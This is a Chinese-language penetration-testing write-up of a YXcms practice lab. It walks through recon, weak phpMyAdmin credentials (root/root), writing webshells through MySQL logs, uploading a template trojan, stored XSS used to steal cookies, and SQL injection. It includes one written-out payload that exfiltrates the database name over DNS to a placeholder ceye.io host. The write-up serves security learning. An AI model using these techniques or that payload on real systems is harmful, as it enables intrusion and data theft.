一次对YXcms靶场的测试记录
信息收集
登录目标网址
登录目标网址，会发现是phpstudy的探针，从中可以获取一些关于目标网站的信息
- 网站有phpinfo,php版本是5.4.5
- 服务器用的是apache2.4.23
- 网站会显示错误信息
- mysql数据库
- 使用了phpstudy
以上这些是我目前能察觉到危险的信息
补充：关于目标网站分析的插件：wappalyzer
js接口
目前不知道如何判断js文件里有没有有用信息
目录扫描
phpinfo.php
phpmyadmin
beifen.rar
robots.txt
端口扫描
结果
看到了445端口，win7的系统
进入yxcms
通过phpmyadmin的弱口令进入管理页面植入shell后，发现目标站点在根目录下布置了一个网站yxcms
信息收集
浏览网页信息
- 发现在公告栏处公布了后台地址、账户、密码
- 找到可以留言的文章，留言后需要管理员审核
目录扫描
robots.txt
无有用信息
phblic
网站的一些源代码，但我目前读不懂代码，不清楚有没有有用信息
upload
网站的一些基本信息，主要为图片
protected
- 点击目录下各文件，在adminApi.php文件出现报错信息，得到绝对路径
点遍所有目录下文件，没发现其他有用信息
httpd.ini
无可用信息
升级日志.txt
可以得到版本是1.2.1，在得到网站使用的cms和版本号，我们可以在百度搜对应的漏洞来利用，参考这篇:https://www.ebounce.cn/web/yxcms.html
漏洞测试
永恒之蓝
利用kail的msfconsole
一顿操作猛如虎，就是进不去，利用失败
phpmyadmin
获取版本号
失败~ 、~
获取当前phpmyadmin版本号的方法
在根目录下添加：
- README
- ChangeLog
- doc/html/index.html
- Change
- changelog.php
- readme.php
- Documetation.html
- Documetation.txt
- translators.html
尝试账号
尝试了可以任意登陆的账号，结果均失败~ 、~
准备暴力破解账号
试了admin,admin。它的账号和密码其实是root，root。
mysql数据库的默认用户和密码是：root,root
获取绝对路径
因为目录扫描时我们获得了phpinfo.php文件，可在里面获得目标的绝对路径
写shell
正常导出获取shell
判断是否可写
为null代表禁止写入
不能在根路径下写入文件
通过日志写入webshell
开启日志记录
查看当前的日志记录
指定日志文件
写入恶意代码
shell连接
通过慢查询写如webshell
查询当前慢查询日志目录
重新设置路径
开启慢查询日志
写入日志
shell连接
再次尝试正常导出获取webshell
修改secure_file_priv后的值为空
但结果失败
试着重启一下靶场的服务
这就很尴尬，实际渗透中，如果你已经通过其它方式获取到了shell,则没有必要去通过直接导出的方式。
后台
进入后台
点击各个功能模块
第一遍各个点了一遍没有发现什么可以利用的模块
网上找了文章，发现自己错过了一个可利用模块，对网站的结构不敏感
新建模板，上传一句话木马
如何确定刚才模板文件的路径
我也不知道，新建立的模板文件上传到哪个路径了，但是我们不是获得了一个备份文件吗，解压后，用搜索文件软件listary进行搜索目标模板位置已有的文件，可确定路径
连接shell
XSS
插入xss代码
进入后台审核
当然，这是建立在管理员什么都不懂的情况下，如果管理员看懂了代码，直接删除这条留言；也可能会有攻击者留一段正常的留言，比如对这个网站的喜欢和适用中的意见，但是文字靠后部分插入了一段代码。
结果(失败)
结果分析：输出了我们输入的内容没有过滤，但是没有产生对应的弹窗结果。也没有过滤特殊符号。
其他位置尝试
依然失败，我们输入的地方可能不对
网上找资料
会发现成功的地方在留言本这里，会发现测xss漏洞的原则是一切可以进行输入的地方
再一次插入xss代码
审核(进入审核界面，首先弹出来弹窗)
审核后
利用xss平台获取cookie
平台获取数据
后台SQL注入
漏洞所在位置
代理抓包
构造payload
payload:and if ((select load_file(concat('\\',(select database()),'.xxxx.ceye.io\abc'))),1,1))--
攻击结果
补充
- 要注意在burp suite里的文字格式设置为英文字体，否则会出现引号的不匹配问题。
- 刚开始渗透的我们很难一开始就分析代码，找到漏洞所在，但是我们刻意利用搜索引擎找到目标适用版本对应的漏洞来进行验证是否存在，这个过程是从0到1的过程，0与1之间会有很多中间阶段
